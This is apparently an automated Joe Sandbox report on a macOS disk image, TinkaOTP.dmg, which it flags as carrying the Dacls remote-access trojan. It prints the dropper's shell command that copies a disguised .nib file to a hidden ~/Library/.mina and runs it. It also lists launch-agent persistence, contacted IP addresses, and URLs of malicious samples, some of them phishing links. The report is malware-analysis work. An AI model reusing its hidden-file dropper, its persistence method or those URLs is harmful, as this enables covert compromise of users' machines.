Play interactive tour

Edit tour

Analysis Report TinkaOTP.dmg

Overview

General Information

Joe Sandbox Version:	28.0.0 Lapis Lazuli
Analysis ID:	101851
Start date:	06.05.2020
Start time:	15:15:39
Joe Sandbox Product:	Cloud
Overall analysis duration:	0h 3m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	TinkaOTP.dmg
Cookbook file name:	defaultmacfilecookbook.jbs
Analysis system description:	Mac Mini, Mojave (Java JDK 11.0.4, Adobe Reader 2019.012.20034, Flash 32.0.0.223)
Run name:	Potential for more IOCs and behavior
Detection:	MAL
Classification:	mal60.troj.evad.macDMG@0/4@0/0

Detection

Strategy	Score	Range	Reporting	Whitelisted	Threat	Detection
Threshold	60	0 - 100	Report FP / FN	false	Dacls

Classification Spiderchart

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting1	Hidden Files and Directories21	Launch Daemon1	Masquerading1	Credential Dumping	System Information Discovery51	Application Deployment Software	Data from Local System	Data Compressed	Standard Cryptographic Protocol1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Replication Through Removable Media	Service Execution	Launch Daemon1	Plist Modification1	Hidden Files and Directories21	Network Sniffing	Application Window Discovery	Remote Services	Data from Removable Media	Exfiltration Over Other Network Medium	Standard Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
External Remote Services	Windows Management Instrumentation	LC_LOAD_DYLIB Addition1	Path Interception	Scripting1	Input Capture	Query Registry	Windows Remote Management	Data from Network Shared Drive	Automated Exfiltration	Custom Cryptographic Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Drive-by Compromise	Scheduled Task	Plist Modification1	DLL Search Order Hijacking	Plist Modification1	Credentials in Files	System Network Configuration Discovery	Logon Scripts	Input Capture	Data Encrypted	Multiband Communication	SIM Card Swap		Premium SMS Toll Fraud
Exploit Public-Facing Application	Command-Line Interface	Launch Agent2	File System Permissions Weakness	Masquerading	Account Manipulation	Remote System Discovery	Shared Webroot	Data Staged	Scheduled Transfer	Standard Cryptographic Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Signature Overview

Click to jump to signature section

Networking:

Connects to IPs without corresponding DNS lookups

Show sources

Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.239.146
Source: unknown	TCP traffic detected without corresponding DNS query: 185.62.58.207
Source: unknown	TCP traffic detected without corresponding DNS query: 185.62.58.207
Source: unknown	TCP traffic detected without corresponding DNS query: 185.62.58.207
Source: unknown	TCP traffic detected without corresponding DNS query: 185.62.58.207
Source: unknown	TCP traffic detected without corresponding DNS query: 185.62.58.207
Source: unknown	TCP traffic detected without corresponding DNS query: 185.62.58.207
Source: unknown	TCP traffic detected without corresponding DNS query: 185.62.58.207
Source: unknown	TCP traffic detected without corresponding DNS query: 185.62.58.207
Source: unknown	TCP traffic detected without corresponding DNS query: 185.62.58.207
Source: unknown	TCP traffic detected without corresponding DNS query: 185.62.58.207
Source: unknown	TCP traffic detected without corresponding DNS query: 185.62.58.207

Urls found in memory or binary data

Show sources

Source: TinkaOTP.dmg

String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd

Uses HTTPS

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49379
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49375
Source: unknown	Network traffic detected: HTTP traffic on port 49379 -> 443

System Summary:

Classification label

Show sources

Source: classification engine

Classification label: mal60.troj.evad.macDMG@0/4@0/0

Persistence and Installation Behavior:

Executes hidden files

Show sources

Source: /bin/bash (PID: 18267)

Hidden file executed: /Users/ben/Library/.mina /Users/ben/Library/.mina

Jump to behavior

Writes Mach-O files to untypical directories

Show sources

Source: /bin/cp (PID: 18265)

64-bit Mach-O written to unusual path: /Users/ben/Library/.mina

Jump to dropped file

Changes permissions of written Mach-O files

Show sources

Source: /bin/cp (PID: 18265)

Permissions modified for written 64-bit Mach-O /Users/ben/Library/.mina: bits: - usr: r grp: r all: rw

Jump to dropped file

Creates hidden files, links and/or directories

Show sources

Source: /bin/cp (PID: 18265)

Hidden File created: /Users/ben/Library/.mina

Jump to behavior

Executes commands using a shell command-line interpreter

Show sources

Source: /Volumes/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP (PID: 18263)

Shell command executed: /bin/bash -c cp /Volumes/TinkaOTP/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib ~/Library/.mina > /dev/null 2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev/null 2>&1

Jump to behavior

Executes the "chmod" command used to modify permissions

Show sources

Source: /bin/bash (PID: 18266)

Chmod executable: /bin/chmod -> chmod +x /Users/ben/Library/.mina

Jump to behavior

Reads launchservices plist files

Show sources

Source: /Volumes/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP (PID: 18263)

Launchservices plist file read: /Users/ben/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist

Jump to behavior

Reads user launchservices plist file containing default apps for corresponding file types

Show sources

Source: /Volumes/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP (PID: 18263)

Preferences launchservices plist file read: /Users/ben/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist

Jump to behavior

Writes 64-bit Mach-O files to disk

Show sources

Source: /bin/cp (PID: 18265)

File written: /Users/ben/Library/.mina

Jump to dropped file

Reads data from the local random generator

Show sources

Source: /Users/ben/Library/.mina (PID: 18268)

Random device file read: /dev/urandom

Jump to behavior

Uses AppleKeyboardLayouts bundle containing keyboard layouts

Show sources

Source: /Volumes/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP (PID: 18263)

AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist

Jump to behavior

Writes property list (.plist) files to disk

Show sources

Source: /Users/ben/Library/.mina (PID: 18267)

XML plist file created: /Users/ben/Library/LaunchAgents/com.aex-loop.agent.plist

Jump to dropped file

Boot Survival:

Creates memory-persistent launch services

Show sources

Source: /Users/ben/Library/.mina (PID: 18267)

Launch agent/daemon created with KeepAlive and/or RunAtLoad, file created: /Users/ben/Library/LaunchAgents/com.aex-loop.agent.plist

Jump to behavior

Creates user-wide 'launchd' managed services aka launch agents

Show sources

Source: /Users/ben/Library/.mina (PID: 18267)

Launch agent created File created: /Users/ben/Library/LaunchAgents/com.aex-loop.agent.plist

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Creates hidden Mach-O files

Show sources

Source: /bin/cp (PID: 18265)

Hidden Mach-O file written: Mach-O 64 bit: /Users/ben/Library/.mina

Jump to dropped file

HIPS / PFW / Operating System Protection Evasion:

Reads the sysctl safe boot value (probably to check if the system is in safe boot mode)

Show sources

Source: /Volumes/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP (PID: 18263)

Sysctl read request: kern.safeboot (1.66)

Jump to behavior

Language, Device and Operating System Detection:

Reads hardware related sysctl values

Show sources

Source: /Volumes/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP (PID: 18263)

Sysctl read request: hw.availcpu (6.25)

Jump to behavior

Reads the systems hostname

Show sources

Source: /bin/bash (PID: 18264)

Sysctl requested: kern.hostname (1.10)

Jump to behavior

Reads the system or server version plist file

Show sources

Source: /Volumes/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP (PID: 18263)

System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist

Jump to behavior

Stealing of Sensitive Information:

Yara detected Dacls RAT

Show sources

Source: Yara match	File source: SubMenu.nib, type: SAMPLE
Source: Yara match	File source: /Users/ben/Library/.mina, type: DROPPED

Remote Access Functionality:

Yara detected Dacls RAT

Show sources

Source: Yara match	File source: SubMenu.nib, type: SAMPLE
Source: Yara match	File source: /Users/ben/Library/.mina, type: DROPPED

Malware Configuration

No configs have been found

Signature Similarity

Sample Distance (10 = nearest)

10 9 8 7 6 5 4 3 2 1

Similar Samples

Samplename	Analysis ID	SHA256	Similarity

Runtime Messages

Command:	open "/Volumes/TinkaOTP/TinkaOTP.app" --args
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Shell
Is malicious
Internet

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
SubMenu.nib	JoeSecurity_Dacls	Yara detected Dacls RAT	Joe Security

PCAP (Network Traffic)

No yara matches

Dropped Files

Source	Rule	Description	Author	Strings
/Users/ben/Library/.mina	JoeSecurity_Dacls	Yara detected Dacls RAT	Joe Security

Sigma Overview

No Sigma rule has matched

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
unknown	https://t.co/y27Kr7Z7wX	Get hash	malicious	Browse	104.244.42.133
	https://linkprotect.cudasvc.com/url?a=%68%74%74%70%73%3A%2F%2F%74%2E%63%6F%2F%4E%76%38%72%49%30%32%5A%45%4F&c=E	Get hash	malicious	Browse	104.244.42.69
	https://f002.backblazeb2.com/file/wyl2ruk25cvbtv9xps81of/e56dfiimp/z0etj6poadf9y2sev602k0.html?email=undefine#abosschaart@pzem.nl	Get hash	malicious	Browse	192.229.221.185
	oBfsC4t10n2.xls	Get hash	malicious	Browse	52.114.77.164
	https://peenni.xyz/Admin/login.php?email=nadia.abbassi@swisslife.fr&name=%20ABBASSI%20Nadia	Get hash	malicious	Browse	148.72.65.62
	Documentation.xls	Get hash	malicious	Browse	185.140.53.48
	Documentation.xls	Get hash	malicious	Browse	104.18.48.20
	Eventbot.jar	Get hash	malicious	Browse	74.125.143.188
	jazz.exe	Get hash	malicious	Browse	1.3.99.0
	#Ud83d#UdcdeAeriestechnology.com Audio_4544.htm	Get hash	malicious	Browse	23.111.9.35
	SWIFT.exe	Get hash	malicious	Browse	185.140.53.158
	Aeriestechnology.com #Ud83d#UdcdeAudio_4544.htm	Get hash	malicious	Browse	180.150.250.218
	http://chng.it/nQRBfpjZD7	Get hash	malicious	Browse	35.186.220.184
	https://us8.campaign-archive.com/?u=03a536b6064301f5b9e56a1a5&id=a70d4c614e	Get hash	malicious	Browse	151.101.60.193
	https://estilomagnolia.com.ar/COVID-19.html	Get hash	malicious	Browse	192.185.188.168
	ace-stream-3-1-1-multi-win.exe	Get hash	malicious	Browse	138.201.84.72
	http://woogle.com/	Get hash	malicious	Browse	192.161.187.200
	https://xurl.es/bz56k	Get hash	malicious	Browse	104.16.132.229
	https://h8.t.hubspotemail.net/e2t/c/W7HmM9G14pJ7vN919GD-s5dBr0/W2_cz8f7Rk0N3W1Fc8Qv3D1Q0k0/5/f18dQhb0S9r79jx7M-W4GcZlG2wqbgQW4VSVT16bzZrwVRqVDC64DbVMW4NfVNZ9gpw4MW4PfvXg7v1hvYW7NyyjW8mv-3QW8mQCxy79mDVRV5Gp8s83GbYkW8hGL-k9bVLmzW7sLthR9djgzWW5LMnrb2c2bg7W79-X3K8gvx_4W6YmB6S7JtTqnW8mnw907bjnYCW3m1z8F8h6MtRW5mK37h1h4tZfW6s1-1C3SQgn2W3_CV247WvZcbW41TlcR3Tw-1xW3DrmCK2r5Kr4W2HT8mr6kn_xzMz74JcYSX-5W7m_B1R5c8d-SW3788pM7mNTCXW3Kh5V35QKjhhW3fFMTv8djpxyW9j8Kdg96NrfmW4FxPX82_GnqFW7c9wJr2JxmcrW4LQhN49hxfTXN5tRRv9cyhfHW3s3_hw87Z8vpW37Fssp5vfyNnW8R6rGC6cb1QjW3sBXv68yxkN1W49kJ936fMryTN11rnNb4VjkzW6Mzk0P8pPvtYV1T_l07TncnMW31GHfx12y5tcW5QHPjY7f1VhbVb5y-_27k6TlW1jVk8n2LKhTNN3Z1mnX9XfwsD7s2GRzp-nf2KWKpv03	Get hash	malicious	Browse	13.224.197.9
	https://1drv.ms/b/s!Arr0ZL_iF4eIkzIyxU6TJfnJdfLL?e=qoUvoJ	Get hash	malicious	Browse	172.217.168.66
unknown	https://t.co/y27Kr7Z7wX	Get hash	malicious	Browse	104.244.42.133
	https://linkprotect.cudasvc.com/url?a=%68%74%74%70%73%3A%2F%2F%74%2E%63%6F%2F%4E%76%38%72%49%30%32%5A%45%4F&c=E	Get hash	malicious	Browse	104.244.42.69
	https://f002.backblazeb2.com/file/wyl2ruk25cvbtv9xps81of/e56dfiimp/z0etj6poadf9y2sev602k0.html?email=undefine#abosschaart@pzem.nl	Get hash	malicious	Browse	192.229.221.185
	oBfsC4t10n2.xls	Get hash	malicious	Browse	52.114.77.164
	https://peenni.xyz/Admin/login.php?email=nadia.abbassi@swisslife.fr&name=%20ABBASSI%20Nadia	Get hash	malicious	Browse	148.72.65.62
	Documentation.xls	Get hash	malicious	Browse	185.140.53.48
	Documentation.xls	Get hash	malicious	Browse	104.18.48.20
	Eventbot.jar	Get hash	malicious	Browse	74.125.143.188
	jazz.exe	Get hash	malicious	Browse	1.3.99.0
	#Ud83d#UdcdeAeriestechnology.com Audio_4544.htm	Get hash	malicious	Browse	23.111.9.35
	SWIFT.exe	Get hash	malicious	Browse	185.140.53.158
	Aeriestechnology.com #Ud83d#UdcdeAudio_4544.htm	Get hash	malicious	Browse	180.150.250.218
	http://chng.it/nQRBfpjZD7	Get hash	malicious	Browse	35.186.220.184
	https://us8.campaign-archive.com/?u=03a536b6064301f5b9e56a1a5&id=a70d4c614e	Get hash	malicious	Browse	151.101.60.193
	https://estilomagnolia.com.ar/COVID-19.html	Get hash	malicious	Browse	192.185.188.168
	ace-stream-3-1-1-multi-win.exe	Get hash	malicious	Browse	138.201.84.72
	http://woogle.com/	Get hash	malicious	Browse	192.161.187.200
	https://xurl.es/bz56k	Get hash	malicious	Browse	104.16.132.229
	https://h8.t.hubspotemail.net/e2t/c/W7HmM9G14pJ7vN919GD-s5dBr0/W2_cz8f7Rk0N3W1Fc8Qv3D1Q0k0/5/f18dQhb0S9r79jx7M-W4GcZlG2wqbgQW4VSVT16bzZrwVRqVDC64DbVMW4NfVNZ9gpw4MW4PfvXg7v1hvYW7NyyjW8mv-3QW8mQCxy79mDVRV5Gp8s83GbYkW8hGL-k9bVLmzW7sLthR9djgzWW5LMnrb2c2bg7W79-X3K8gvx_4W6YmB6S7JtTqnW8mnw907bjnYCW3m1z8F8h6MtRW5mK37h1h4tZfW6s1-1C3SQgn2W3_CV247WvZcbW41TlcR3Tw-1xW3DrmCK2r5Kr4W2HT8mr6kn_xzMz74JcYSX-5W7m_B1R5c8d-SW3788pM7mNTCXW3Kh5V35QKjhhW3fFMTv8djpxyW9j8Kdg96NrfmW4FxPX82_GnqFW7c9wJr2JxmcrW4LQhN49hxfTXN5tRRv9cyhfHW3s3_hw87Z8vpW37Fssp5vfyNnW8R6rGC6cb1QjW3sBXv68yxkN1W49kJ936fMryTN11rnNb4VjkzW6Mzk0P8pPvtYV1T_l07TncnMW31GHfx12y5tcW5QHPjY7f1VhbVb5y-_27k6TlW1jVk8n2LKhTNN3Z1mnX9XfwsD7s2GRzp-nf2KWKpv03	Get hash	malicious	Browse	13.224.197.9
	https://1drv.ms/b/s!Arr0ZL_iF4eIkzIyxU6TJfnJdfLL?e=qoUvoJ	Get hash	malicious	Browse	172.217.168.66

JA3 Fingerprints

No context

Dropped Files

No context

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report TinkaOTP.dmg

Overview

General Information

Detection

Classification Spiderchart

Mitre Att&ck Matrix

Signature Overview

Networking:

System Summary:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Malware Configuration

Signature Similarity

Similar Samples

Runtime Messages

Behavior Graph

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Sigma Overview

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Screenshots

Thumbnails